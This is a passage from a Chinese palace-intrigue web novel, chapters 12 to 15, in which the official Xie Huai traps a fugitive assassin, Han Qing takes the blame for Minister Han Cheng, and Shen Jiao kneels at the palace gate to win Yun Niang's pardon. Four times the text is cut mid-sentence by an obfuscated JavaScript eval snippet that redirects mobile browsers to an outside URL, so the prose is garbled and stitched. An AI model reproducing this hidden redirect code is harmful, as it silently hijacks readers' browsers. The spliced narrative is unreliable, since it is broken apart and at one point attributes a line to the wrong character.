两人的谈话不欢而散，沉嫣见韩庆拂衣而去，心急如焚地走进宫中。 “娘娘，您没事吧？” 韩菀平复心情:“我没事。” 沉嫣欲移开漆盒倒杯茶水让韩莞缓缓，鼻尖却涌入一股桂花香。 “娘娘，味道好香呀。” 韩莞目光落在桌上的漆盒上，走近打开一看，漆盒里摆放着一碟糕点。 “娘娘，我记得您以前最喜欢吃这家师傅做的桂花糕了。” 暖酥坊的师傅做桂花糕的手艺在京中一绝，沉嫣曾出宫给韩菀买过几次，每次去坊前都人如潮涌，要等很长时间。 漆盒里的桂花糕散发着诱人的香气，韩菀却只是淡淡地看了一眼，便收回了视线。 一行人沿着山路，马不停蹄，终于在宵禁前赶回了城里。 回到大理寺，谢淮让狱卒将三人单独关押起来，换下被雨水打湿的衣衫，打算夜审几人。 两人为了混口饭吃才答应成为死士，本就极为贪生怕死，听到谢淮要让狱卒动大刑，当即吓得魂飞魄散什么都招了。 黑衣人收到飞鸽传书，别庄的位置很有可能已经暴露，为绝后患，欲杀掉里面的老弱妇孺灭口，未承想，计划泄露，随后遭到一些有亲属的死士的殊死抵抗，双方发生了一场血战，他们杀死反抗的死士和庄里的老弱妇孺完成任务后打算去矿地，不料，在前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16858890|191692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往矿地的途中却被追上擒住了。 鞭子接连落下，黑衣人忍着身上火烧般的疼痛，硬是咬牙一言不发。 谢淮见面前的人如此忠心耿耿，握着手中的砷青铜，冷声道:“你的主子若知道你落在了我手里，你猜他会怎么做？是想办法灭了你的口，还是会派人来救你？” 一枚废弃的棋子，没了用处。韩丞是个怎样的人，又会怎么选，两人心知肚明。 黑衣人抬起头，嘴唇翕动，似是有话要说。 谢淮挥挥手让行刑的狱卒暂且退下，问道:“芸娘交给你的那封密信在哪？你和韩丞私底下又在谋划什么？” 黑衣人虽不知芸娘将信交给了谁，但眼下看来，信并未落到大理寺手里，谢淮没拿到信，就无法指证韩丞，他就可以混淆视听:“信被我藏到了一个谁也不知道的地方，谁说我的主子是韩相。谢世子聪明绝顶既能找到别庄，不妨猜猜看我们在谋划什么？” “你想替你的主子掩盖罪行？”谢淮一语道破黑衣人的心思。 黑衣人冷笑一声，直视着谢淮:“掩盖罪行，我已无生路，横竖皆是一死，谢世子还是勿要在我身上白费心机了。” 黑衣人不似其他几人，软硬不吃，再审下去，也只是浪费时间，谢淮让狱卒将人押回大牢，离开了狱中。 翌日，沈皎早早便起来了，洗漱完毕，用过早饭，便让陆林去打探有关韩庆的消息。 晌午后，陆林打探消息归来。 “韩庆女儿在宫中为妃？” “是，是当今的淑妃娘娘。”陆林答道。 “淑妃娘娘，姑娘，那岂不是那日的…”翠蕊想起韩莞，没再往下说。 沈皎垂下头，眉头瞬间拢成一团，也很诧异，韩莞对她有恩，那日在宫门口若不是韩莞派沉嫣救了她们，她们估计性命难保。 “小姐，我看淑妃娘娘也不像不讲理之人，若真不讲理，就不会为芸娘的案子去求陛下，说出那番话了。”翠蕊道。 “我也期望如此，但我们要对付的人毕竟是她的亲生父亲，此案一旦坐实，便是死罪，她又怎会袖手旁观，眼睁睁看着自己亲生父亲去死。”沈皎内心也不愿同韩莞为敌，恩将仇报，可韩莞若坚定地站在她父亲那边，她也只能如此了。 看守矿地的死士前去接应黑衣人，没等到人，将消息传回了丞相府，晨光熹微中，韩庆就被韩丞派人唤到了丞相府。 韩庆进到屋内见韩丞面色凝重，心里不由咯噔一下，浮上一抹不好的预感:“相爷，出何事了？” “别庄被谢淮发现了，早上死士传来消息，阿五没去矿地。” 韩庆顿时心惊胆战起来，没去矿地，十之八九是被抓了，谢淮追查此案追查得紧，圣上本就多疑，密信还未找到，芸娘这个心腹大患也未能除掉，若阿五熬不住酷刑，供出些什么，谢淮寻到证据，一纸奏折告到御前，后果不堪设想:“那…那我们眼下该怎么办？” 12. 第 12 章 “密信可找到了？” “未曾，我派人将芸娘的住处翻了个底朝天，都未找到密信。” 韩丞眸子一沉，住处没有，信又会在哪？芸娘在京中六亲无靠，想起昨日在街巷中听到的议论，随后唤人前去暗中查探那为芸娘敲登闻鼓的二人底细。 “相爷，那，阿五那边？” 韩丞知道谢淮威逼利诱，阿五也不会出卖他，别庄内的证据被烧得干干净净，密信不知所踪，谢淮这边穷追猛打紧咬不放，另一边万家又在朝中蠢蠢欲动，目前局势可以说对他们很不利。 眼下最要紧的已不是灭掉芸娘和杀手的口，而是应对接下来有可能发生的危局。 “阿五不会出卖我，倒是近日万怀那老狐狸不安分，多次联合谏官上奏，请求陛下立后，并佯称这是国之大事，催促陛下尽快决断，其真实意图却是为了让自己女儿登上后位，托公行私。” 韩庆昨夜虽与韩莞在宫中闹了别扭，嘴上发横，撂下狠话，让韩莞以后就当没他这个父亲，心里终究有愧割舍不下这份亲情，万贵妃在宫中颇受陛下宠爱，在立后一事上，赢面很大，这时一旦行差踏错一步，便再无翻身之地:“相爷，还请您务必帮帮莞儿。” 韩丞内心并不在意韩莞在宫里的死活，在他后期的筹划中，韩莞却是一颗极为重要的棋子，他自然不会让万家的人有机可乘坐上后位，扰乱他的谋划，可韩莞太不听话了，屡次避而不见，是该让她学着听话些:“我可以帮你，但就要看你有没有这个诚意了。” 沈皎在庭院中干坐了一早上，又取出密信细细看了一遍，确定当初写这封密信之人便是韩丞。 韩丞乃当朝宰相，权势滔天，她们势单力薄，尚无法与之抗衡，眼下唯有韬晦待时，伺机而动。 刚下过雨的天依旧寒意逼人，翠蕊将熬好的药付与沈皎，取下臂间的大氅，披在沈皎身上。 沈皎喝完药，将密信小心收起。 陆林拎着一袋粟米从屋外进来，迅速将门从里面阖上。 “怎么了？”沈皎见陆林神色慌张，似是出了什么事。 “姑娘，不好了，街巷四周突然出现了许多形迹可疑的人，这里似是被人盯上了。” “姑娘，这下该怎么办？”翠蕊忐忑道。 两人都看向沈皎，等她拿主意。 沈皎思忖一番，料想应是韩丞找不到密信，起了疑心，查到了她们头上，不慌不忙道：“韩丞应是查到了我们头上，这几日出去时谨慎些，尽量走后门。” 后门顺着巷子往东边再走一段，便是主街，街上有禁卫巡逻，黑衣杀手再大胆，也不敢当街行凶。 两人闻言点了点头。 谢淮一早来到公廨，听衙差说，韩庆今日没来公廨应卯，循例遣人去府上询问。 衙差道:“属下到了尚书府，府中管家说韩大人昨夜偶感风寒，让他差人来告假，他一时疏忽给忘记了。” “嗯，我知道了。” 谢淮草草应付一声，没了韩庆使绊子，乐见其成，命人将从别庄带回来的两个箱子，抬入屋内，又仔细查找了一遍。 箱子里面放着一些武器和日常用品，除去之前在别庄发现的砷青铜和后来找到的一张被烧毁的残缺不全的舆图，并未再发现其他有用的线索。 目前掌握的证据还不足以证明韩丞就是此案的幕后主使，须得让韩丞自己露出破绽。 谢淮吩咐衙差几句，随后来到狱中，撤走狱前的守卫，走进关押黑衣人的牢房，刻意将砷青铜和舆图置在显眼处。 阿五费力睁开眼，以为谢淮又来审讯，正欲让谢淮别再白费口舌，瞥见桌上的砷青铜和舆图后，神色一慌。 别庄内的来往书信虽被他命人销毁殆尽，但当时情况紧急不乏在处理证据手忙脚乱有所疏漏。 舆图上标注了铜矿的具体位置，谢淮手中的残图，不知是其中的哪一部分。 谢淮敏锐地捕捉到黑衣人面上一闪而过的慌乱，不紧不慢地敲打道:“这砷青铜是制造兵器的必需原料，极为希贵，每年开采移用兵部皆有详细备案。你的主子发现铜矿不上报，反而私下采掘，你说圣上若知道后会如何处置？” 阿五面上不露声色，心里却因谢淮这一番话愈加惴惴不安。 谢淮的目的达到，转身离开。 阿五夜间借机谎称身体不适，趁狱卒打开牢门前来查看之际，打晕狱卒越狱了。 阿五刚一逃出狱，藏在暗处的衙差便带着人跟了上去。 黑衣人担忧衙差发现追上来，避开人群，忍着身上的疼痛，步履蹒跚地逃入一条偏僻的巷子里。 衙差蹑足屏息，带着人衔尾相随拐进巷子，跟着黑衣人来到一处屋子前。 “大人，要不要进去抓人？”一旁的衙差问道。 “别急，先别轻举妄动。” 几息后，面前的门打开，阿五和一个身形魁梧的男子从屋里出来，男子将门锁好，对身旁的阿五道: “您先去破庙，小人这就去相府禀报相爷。” 阿五戴上斗笠反身向出城的方向走去。 “快去禀报大人。”狱卒道。 “是。” “后面怎的如此吵闹。” “听说是官差正在街上追捕越狱的逃犯呢。” 黑衣人听着身后人的议论，赶忙出了城门。 薄暮冥冥，沈皎和翠蕊见识过那些杀手的手段，今日谨慎地闭门不出，万幸有惊无险，没有发生什么意外。 “姑娘，属下从外面回来时，那些人已经离开了。” “这几日还是要多加小心。”杀手虽然离开，他们暂时安全，还不能放松警惕。 “对了，姑娘，街上刚乱腾腾的，听说大理寺在追捕逃犯，应是与芸娘的案子有关。” 沈皎满肚疑团，莫不是刺杀芸娘的杀手越狱了，转念一想，谢淮派人将狱前围得铁桶一般，又怎么会轻而易举地让逃犯逃出去。 想起先前，谢淮去破庙抓捕芸娘时的情景，极有可能是在引蛇出洞，吩咐陆林:“你让人去打听下那逃犯的身份？” “是。” 陆林走后，沈皎面上多了一丝沉重。 “姑娘，谢世子如果抓到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16858891|191692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幕后凶手，这不是好事吗？” 若真能将幕后主使绳之以法，自是好事，从这几次的相处中，谢淮外表虽看着冷漠，实际上并不难相处，虽说有芸娘表妹这个身份做遮掩，可他心机深沉，日后接触若不小心谨慎，一旦露出端倪，便会怀疑到她们头上。 “是好事，但谢淮这人太过危险了些，和他打交道，须得时刻小心，不然让他起了疑心，我们的身份便会暴露。” 衙差们见黑衣人进入破庙，隐匿身形躲在附近，等着幕后主使出现。 半个时辰后，一个身形高大披着黑色斗篷蒙着面的人，孤身出现在了破庙外。 “不准动。” 众人一拥而上，亮出兵器，将从破庙走出的阿五和蒙面人团团围住。 蒙面人被围住，不说话也不反抗。 阿五看着周围的衙差，后知后觉才察觉出这一切都是谢淮的计谋，谢淮故意放他走，是为了放长线钓大鱼将他们一网打尽。 谢淮带着禁军赶到破庙，看着被围起来的两人，目光凛冽:“韩相，别来无恙。” 蒙面人立在夜色中，闻言，扯下面上的黑布，掀开头上的帽子，嗤笑一声:“恐怕要让世子失望了。” 借着月光，众人看清了蒙面人的相貌，来的是称病在家的韩庆，并不是韩丞。 谢淮眼底漫出一抹讥嘲:“尚书大人，还真是忠心。” “世子殿下，老夫今日载到你手里，老夫认栽，但世子殿下私下查沈康的案子就不怕引火烧身吗？”韩丞语气阴冷，意有所指。 朝中众人谁不知，沈康一案是景惠帝的逆鳞，当年不信王振一面之词，为沈康求情死谏的文臣武将不在少数，可景惠帝熟视无睹，将求情的人皆贬官流放下狱，用雷霆手段让众人闭了嘴，依旧下了杀沈康的旨意。 “这便不劳韩大人费心了，韩大人现在还是先顾好自己吧。” 谢淮说完，让衙差将两人押回去。 翌日晌午，沈皎写完信，放下笔，问道: “是那日在破庙的黑衣杀手？” “是，昨夜禁卫出城随着大理寺去城外捉拿逃犯，不止捉到了逃犯，而且还抓到了前去和黑衣杀手相会的幕后主使。” 沈皎还以为被捉的是韩丞，心中诧异不已，随即一想，又觉不太可能，韩丞在官场浸淫多年，心机手段自然非比寻常怎会这么轻易便被捉住。 “幕后主使？可知抓到的人是谁？” “是韩庆。” 韩丞如此急于让韩庆出去抵罪，应是谢淮掌握到了一定的证据，才逼得他不得不断尾求生。无论怎样，这对她们来说都不是坏事。 沈皎收回思绪，将信装好交给翠蕊，让她去码头将报平安的信寄往凉州。 随后让陆林去街上买来治伤的药和果子，坐着马车前去探望芸娘，到了狱前，恰巧碰到谢淮从狱中出来。 抬眸瞥见谢淮白色的衣袖上血迹斑斑，一贯清冷的面上也沾上了几滴血渍，似刚从狱中审完犯人出来，看他看过来，不着痕迹地收回目光，从容地福身行礼。 “拜见大人。” 13. 第 13 章 谢淮应了一声，看了两人一眼，见两人是来狱中探望芸娘的，本欲转身回府，走了两步，却突然想起什么，敛住步子，隐晦地出声提醒:“两位姑娘近日还是少在外面抛头露面为好。” 沈皎前日去为芸娘鸣冤之事，这两日在京中愈传愈烈。他晌午来狱中时，便听到京中不少百姓在非议此事，鉴于韩丞的行事作风，必定会设法除去沈皎这个威胁。 “多谢大人提醒。”沈皎出声道谢。 谢淮的话点到即止，让狱卒放两人进去，转身离开。 沈皎进入牢房中，让翠蕊将买来的伤药和果子放到桌上：“我去药铺给夫人买了些去疤的伤药。” 芸娘身上的伤已经不大痛了:“多谢姑娘，姑娘那日刚一走，谢大人请的大夫便来了。” 沈皎闻言放下心，在身侧的木凳上坐下:“那日杀害你夫君的黑衣杀手已被谢大人拿获，夫人的夫君若泉下有知，也可以瞑目了。” 陈志死后，芸娘一度悲痛欲绝，一心求死，在沈皎的疏导下，想开后，才振作起来，等到了凶犯落网的这一日。 芸娘感慨道:“姑娘，幸得谢大人是个好官。” 沈皎不置可否，旁的官员只怕一听，便缩手缩脚吓破了胆，又哪里敢冒着得罪权贵的风险，审这桩案子。 不过韩丞吃了一个这么大的亏，必不会甘休。 谢淮刑讯了一上午，黑衣人在酷刑之下，宁死不愿指认韩丞，别庄内的罪证皆被销毁，韩庆又直言此案是他因旧怨为之，无法认定与韩丞有关，只得暂且作罢，坐马车回到府中后，沐浴一番，换下身上沾染血污的衣衫，用完午膳后径直去了书房，将此案写成折子，进宫禀呈景惠帝。 徐进一脸恨铁不成钢地站在玉阶下，轻声训斥着一个欷歔流涕的小太监。 “陛下心情不适，你没听见?在殿前当值也敢打瞌睡，端茶倒水这么点小事都做不好，日后还怎么指望你服侍陛下？” “徐公公，奴才再也不敢了。”小太监哭眼抹泪地道。 “我滴个祖宗，快别哭了，小心被陛下听见，便是我也保不了你了，下去吧，这几日不必再来御前当值了。” 小太监连忙瑟瑟缩缩地止住眼泪，千恩万谢地退下了。 谢淮至殿前，见状："徐公公，这是？" 徐进吐着苦水：“不过是个不长眼的奴才罢了，今儿一大早，万大人带着一群谏官跪在殿外逼着陛下立后，说陛下年过三十还未立后，有愧于祖宗社稷，气得陛下头疾又犯了，发了好大一通火，太医院的人正在里面为陛下诊治呢。” “我有急事要见陛下，劳烦公公进殿通报一声。” 徐进回到紫宸殿，太医院的医官刚为景惠帝施完针。 “陛下头疾似有加重之势，稍后臣开个方子，服用几日，应能有所缓解，切记不可再受刺激。” 徐进接过医官写好的方子，递给一旁的近侍，禀报道：“陛下，世子殿下来了，说有急事在殿外求见。” 景惠帝阖眸按着太阳穴，满脸疲态："宣吧。" 谢淮进到殿中，对着景惠帝行了一礼:“臣奉旨审理王振被杀一案，现已将此案审结，这是有关此案的奏疏。” 景惠帝睁开眸子，放下手。 徐进有眼色地上前接过，将奏折上前转呈给景惠帝。 景惠帝展开奏折，看完不动声色地将奏折合上，搁在案上，抬眸问道：“韩庆亲口承认此案是他作为？” 谢淮答道：“是，臣亲眼看到韩庆与那杀手在城外的破庙碰面，他在狱中亦承认此案是他所为。” 景惠帝敛眸，望着案上的奏疏，默不作声，看了半晌抬起头:“朕今日累了，你先回去吧，此案明日朝会上再议。” 殿外的小太监走进殿内，在徐进的耳畔低语几句，徐进挥挥手，让小太监退下，对着景惠帝道：“陛下，贵妃娘娘来了，如今在殿外候着呢，可要传唤？” 景惠帝静默片刻：“传吧。” 谢淮见状，只好先行告退，途径一处宫殿时，被一个宫女突兀地出声拦住。 沉嫣上前，恭敬地行了一礼：“奴婢拜见世子殿下，我家娘娘让我来问世子一句话，此案是否确是尚书大人所为？” 谢淮猜出沉嫣的身份，道:“韩大人在狱中供认不讳。” “多谢世子告知，奴婢告退。” 谢淮望着沉嫣离去的方向若有所思，出了宫，回到府中，刚在书房坐下，暗卫便走了进来。 “世子，尚书府那边还需要派人盯着吗？” 谢淮沉思一会儿，韩庆已经入狱，以韩丞谨慎的性子，即使尚书府内有些什么，也只怕已经荡然无遗了。 “没必要盯着了，将人都撤回来，韩丞那边可有异动？” “相府那边，不知因何事，这几日私下请了不少官员上府。” “继续盯着，有任何异常及时来报。” “是，属下告退。” 翌日一早，翠蕊正在街巷中买菜，四周的人群忽地骚动起来，成群作队往一处而去，见状，好奇地寻问：“老伯，这是怎么了？” 面前的人长叹一口气:“唉，听说芸娘的案子判下来了，芸娘以前还经常来我这里买菜呢，人和善也不多事，谁料想，会遇到这档子事，我家女儿前些年也嫁人了，要是有人敢这般欺辱我女儿，就是拼了我这把老骨头，也要打上门去为她讨个公道的。” 翠蕊手疾眼快挑完菜，付完钱，随着人流来到了一处闹市，告示牌前人满为患，她不识字，只能站在人后，静听着众人的议论。 “那告示上写了什么，有没有人念念。” 待前方识字之人念完告示，后方安静的人群登时沸腾起来，愤懑的声音一声盖过一声。 “分明是那死者欺压人在先，杀人的亦另有他人，怎么连苦主也要被问罪。” “这些当官的，只顾着飞黄腾达，又怎会拿我们老百姓的命当命。” 翠蕊心一滞，穿过人群， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16858892|191692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊慌失措地疾走回宅院，将听到的消息告诉给沈皎。 “你确定你没听错？” “没有，姑娘，我在人后听得真真切切，两日后芸娘便要被问斩了。” 沈皎没想到案子会这么快判下来，喝完苦到作呕的药汁，正想让翠蕊把余下的那封诉状拿来，破釜沉舟，宅门外忽而传来一阵敲门声。 “屋中可有人在？” 她诧异地听着屋外的声音，回过神后，放下手中的诉状，忙让翠蕊起身去开门。 沉嫣叩了几声门，许久不见宅舍内有人说话，还以为走错了地方，看向身侧戴着帷帽的韩菀，用眼神询问。 “继续敲，没走错。” 韩莞特意挑在晌午登门，就是怕沈皎不在，白来一趟。 沉嫣转身刚抬起手，紧闭的木门从里咯吱一声被拉开。 翠蕊将两人请入屋内，闩上门，隔开街上熙熙攘攘的人声。 沈皎与翠蕊对韩莞作势欲行礼。 韩莞取下帷帽，出声打断两人的动作:“这不是在宫里，两位姑娘不必在意这些繁文缛节，随意些便好。” 沈皎让翠蕊奉茶，两人既能寻到这里，想必是去狱中见过芸娘了。 “娘娘，请坐。” 韩莞放下帷帽，在石桌前坐下，瞥见石桌上的诉状，愀然道:“姑娘，这是欲去宫中申冤？” “是。”沈皎道。 “我来此便是替芸娘劝姑娘莫要去的。” 谏院的那些谏官，昨日气得景惠帝犯了头疾，今日仍未罢休，一早在朝会上，又对立后之事犯颜直谏，景惠帝受了刺激，急火攻心，吐血昏迷，如今朝政暂由韩丞监理。 集英殿内，大理寺与刑部对芸娘的案子莫衷一是，各执己见，争论不休，刑部向来同韩丞私下来往甚密，里面依附韩丞的官员更是不在少数，自是要为之出力。 “陛下如今陷入昏迷，不知何时会醒，芸娘的案子不简单，姑娘去宫中也见不到陛下，反而会将自己置入险境。” 此案至此，已不单单是一桩谋杀案，而是涉及到了派系之争，非她们能左右。 沈皎没想到宫中会发生这样的事，这一切竟是韩丞在背后操纵:“娘娘，可有法子？” 韩莞摇了摇头，当前她正处于风口浪尖上，虽有韩丞在，在宫中不至于举步维艰，但一举一动皆有人监视，处处受制，借着为母亲上香，甩开路上跟踪的人，来寻沈皎，一来是替芸娘传话，二是想与沈皎一道想想法子。 沈皎垂眸瞑思苦想片刻“处决已下，若想撤销，便只有让景惠帝亲自下旨了。” “可这太过冒险了，也会将姑娘牵连进去。”韩莞没想到沈皎还是要前去申冤，单不说景惠帝能不能醒过来，肯不肯下赦旨也难说。 “芸娘对我有恩，我答应救出她夫君，此前未能践诺已是愧疚不已，眼下更不可能坐视不理。” 韩莞见沈皎坚持，一时也未能想出比这更好的法子，便未再出言相劝。 14. 第 14 章 沈皎送两人至门口，心里明白韩莞如今在宫中处境艰难。韩丞既已寡情薄意地将韩庆推出去当替罪羊，怕是对韩莞也没有多少情分:“娘娘，多加保重。” “姑娘明日也多加小心。” 送走两人后，回到院中，翠蕊忧心忡忡道:“姑娘，就算明日陛下醒了过来，可陛下那日都不见淑妃娘娘，又怎会见我们。” 沈皎自也是想到了这一点，垂下眸子，语气中染上了一分势在必得的冷意：“不见，那就让他不得不见我们。” “姑娘可是想到法子了？”翠蕊看着沈皎成竹在胸的模样，喜出望外地道。 “此案如今既已在京中传开激起了公愤，那我们便让这把火烧得更旺些。” 翠蕊怔怔地抬起头，不明所以，不知沈皎说这话是何意。 “你待会儿去集市上花些银钱找人将王振素日的恶行传扬出去，传扬得越快越好。” 翠蕊明白过来，连忙道:“是，姑娘，我这便去。” 翠蕊到集市上托人找了几个伶牙俐齿的人，又在茶馆找了个说书先生让他们将消息散布出去，一下午的功夫，京中的各大酒肆茶馆里也都传遍了。 “没想到，竟会有如此龌龊下流之人，真令人不齿。” “大周历来的冤案还少吗？当年大厦将倾之际，若非沈康将军在嘉雍关浴血奋战，击退突厥，焉有我等这几年在京中的太平日子？此案闹得这般大，最后如何，还不是由圣上说了算。” “小声些，妄议天子，乃是大罪，小心被有心之人听了去，告到官府，是要获罪的。” “怕什么，这难道不是事实？边关四郡至今沦丧敌手，未能收复，朝中奸臣当道，横征苛役，老百姓的日子越来越难过，陛下也难辞其咎。” 男子借着酒劲口不择言，言辞激切，对劝阻置之不理，听起来明显是醉了。 谢淮正坐在隔壁的阁子里饮酒，阁子被一张紫竹屏风隔开，默不作声地听着两人借酒浇愁，待两人义愤填膺一阵离开后，这才抬起头，目光沉静，低声道:“吩咐你的事情办得如何了？” “已经均按您的吩咐办妥了。”暗卫道。 “世子，林太傅可愿意相助？” “太傅已应下此事，说明日会面圣劝谏陛下。” 林太傅昔日因沈将军之事对陛下寒心，一怒之下挂冠而去，陛下将为沈将军求情的官员贬官流放，对林太傅这个老师还是敬重的，应下此事，芸娘他们便有救了。 “世子，眼下可要回府？” 酒肆外，暮色苍茫，街巷中却依旧接袂成帷，热闹非凡。谢淮心不在焉地聆听着市井中的喧嚣，眸中灯火荧荧，不知不觉间，醉意上涌，揉了揉有些眩晕的额头，流露出一丝疲惫:“去别院。” 暗卫驾着马车来到别院，扶着谢淮下了马车，便有眼尖的仆人眼疾手快地上前将马车牵走。 别院的仆人见谢淮过来，便知今夜谢淮要宿在这里，忙去准备晚膳和热水。 谢淮沐浴完，散着发从浴间出来。 “世子，禁卫统领黎大人刚才飞鸽传书传来消息，太医院的医官救治得力，陛下方才已经苏醒，传了万贵妃前去侍疾。” “嗯，知道了。” 次日，沈皎用过午膳，与翠蕊来到宫门口，大庭广众之下，举起诉状跪在宫门前，朗声道:“前太监总管王振，欺压良善，更逞淫威，罔顾人伦，强夺人妻，其恶行人神共怒，死有余辜。今民女斗胆叩请陛下垂听冤情，敕令重查此案，为表姐雪洗冤屈，还以公道，正乾坤以清朗。” 沈皎反反复复在宫门口念诵，街上的百姓闻言，不一会儿，便将宫门前围得水泄不通。 百姓纷纷聚拢在宫门前，禁军统领见状，忙命禁军进宫去禀报。 “陛下这几年心思越发深沉，便是我时常也猜不透他在想什么，此行我本也全无把握能说服陛下，但眼下京中民意汹涌，倒是有了几分胜算。” 坊市中，马车在街头平稳行驶，谢淮望着车外奔涌的人流，放下帘子:“待会便劳烦太傅了。” “劳烦谈不上，沈将军在大厦将颠之时，视死如归，击退敌军，保住了大周，是我们有愧于他。” 马车在宫门前停下，车外喧嚷的人声此起彼伏，两人一前一后穿着显眼的官服下了马车。 “前太监总管王振，欺压良善，更逞淫威，罔顾人伦，强夺人妻，其恶行人神共怒，死有余辜。今民女斗胆叩请陛下垂听冤情……” 宫中一直未有人出来，沈皎勉强挺直身躯跪在宫门前，跪了小半个时辰。 “快看，有官爷过来了。”后头有人瞥见穿着官服的两人，高喊一声，集聚在宫门口的人群顿时骚动起来，纷纷侧目望去。 一侧值守的禁军持械上前，喝退开堵在宫门口的百姓，开辟出一条道路。 沈皎听到议论，眼前闪过一抹绯红，抬头看时，那道熟悉颀长的身影已径直越过她随另一位两鬓斑白的老者走向了朱红色的宫门。 她收回目光，见谢淮并未碍于韩丞的权势，放弃芸娘的案子，心里微微松了口气。 禁军进入紫宸殿，将宫外之事禀报景惠帝。 万贵妃坐在榻侧，体贴入微地舀了一勺汤药递上前。 景惠帝意兴索然，闻言，眸光微沉，按了按疼痛不已的太阳穴，心中不由生出一股难以平息的燥意。 万贵妃见状，将碗递给身侧的嬷嬷，善解人意地伸出手为景惠帝揉着太阳穴。 “陛下，谢世子和林太傅在殿外求见。”徐进走进殿内，压低声音禀报道。 景惠帝怔了怔，头痛稍缓，阻止万贵妃的动作:“传他们进来。” 两人走进殿内，行了一礼。 景惠帝撑起精神，掀开寝被，坐在床沿上，命内侍给两人赐座，在两人坐下后，出声寒暄道:“太傅今日怎的有空进宫？” “老臣听说陛下身体抱恙，特来探望陛下，进宫的路上恰好遇到了谢大人，听闻谢大人有要事进宫， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16858893|191692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便一道过来了，见陛下无事，也就放心了。” 景惠帝闻言，觑向谢淮。 谢淮沉声道:“臣认为昨日朝会上对此案的处置结果不妥，芸娘虽与阿五合谋杀人，其夫君却也因她一意孤行丧命，然王振欺人在先，之死也并非芸娘所为，刺杀芸娘的杀手因家人被挟，事出无奈，其情可悯，还望陛下能网开一面，赦免两人的死罪。” 林太傅也随之开口:“老臣近日亦在京中听说了此案，如今百姓在宫外群情激愤，民意不可违，还请陛下…” 景惠帝头又痛了起来，扶着额头，已经没有耐心再听下去，不知案子既已结案，还有什么要闹的，冷冷开口：“两人所为虽说情有可原，但法理不可废，案子既已结案，便休要再议，朕乏了，退下吧。” 说罢便要下旨，将宫门口闹事的人赶走。 “陛下，万万不可，此案已经在京中传开，此时若将宫门口的百姓赶走，不给百姓个交代，只怕会引起百姓不满，一旦失了民心，后果不堪设想，还望陛下三思。”林太傅慌忙跪在地上，颤声劝谏。 “请陛下三思。”谢淮也一道跪下，出声规劝。 万贵妃看着殿内凝重的气氛，适时出来打圆场，柔声道:“陛下，臣妾觉得太傅和世子说得有道理，王振不过一个阉人，死了便死了，若因他失了民心，便得不偿失了。” 宫门口的百姓越来越多，沈皎长时间跪在青石板上，双膝疼痛难忍，她强忍痛意，望向宫门的方向，宫内仍未有人出来，就在她力不能支时，一个穿蓝衣的公公带着两个小太监步履匆匆地从宫内走出。 徐进见状，忙吩咐人扶起沈皎。 翠蕊心急火燎上前从两人手中接过沈皎。 “诸位，陛下已下旨释放芸娘，还请大家就此散了吧。” 徐进走上前，将袖中沉嫣交给他的伤药递给沈皎:“姑娘，这是淑妃娘娘让我带给你的药。” 沈皎心中淌过一股暖流，伸手接过伤药:“劳烦公公替我谢谢娘娘。” 宫门口的百姓只想等个结果，待一切尘埃落定后，也随之散去。 沈皎手中拿着伤药，目光若有所思地望着徐进离去的方向，须臾，收回目光，被翠蕊搀扶上了马车。 “姑娘，你还好吗？”翠蕊坐上马车，焦急地问。 方才在地上跪了那么长时间，是个人都难以忍受。 “没事，就是膝盖大概是肿了。” 膝盖轻轻一动便钻心地疼，沈皎一路强忍着疼痛，回到宅院，上了药才好受些。 屋内弥漫着淡淡药香，待疼痛减缓了些，沈皎便吩咐翠蕊将陆林叫了过来。 “姑娘。”陆林走进屋中。 “往后，我们行事恐怕得万分小心了。”沈皎郑重其事地叮嘱道，语气中却透露着一丝不安。 “怎么了？姑娘”翠蕊疑惑地问出声。 “我们今日去宫门前申冤，已经彻底暴露在了人前，韩丞没拿到密信，必不会放过我们。” 15. 第 15 章 翠蕊紧张地看着沈皎，提议道:“姑娘，要不我们去找谢世子，谢世子既肯为芸娘的案子费心劳力，定不会对将军的案子置之不理。” 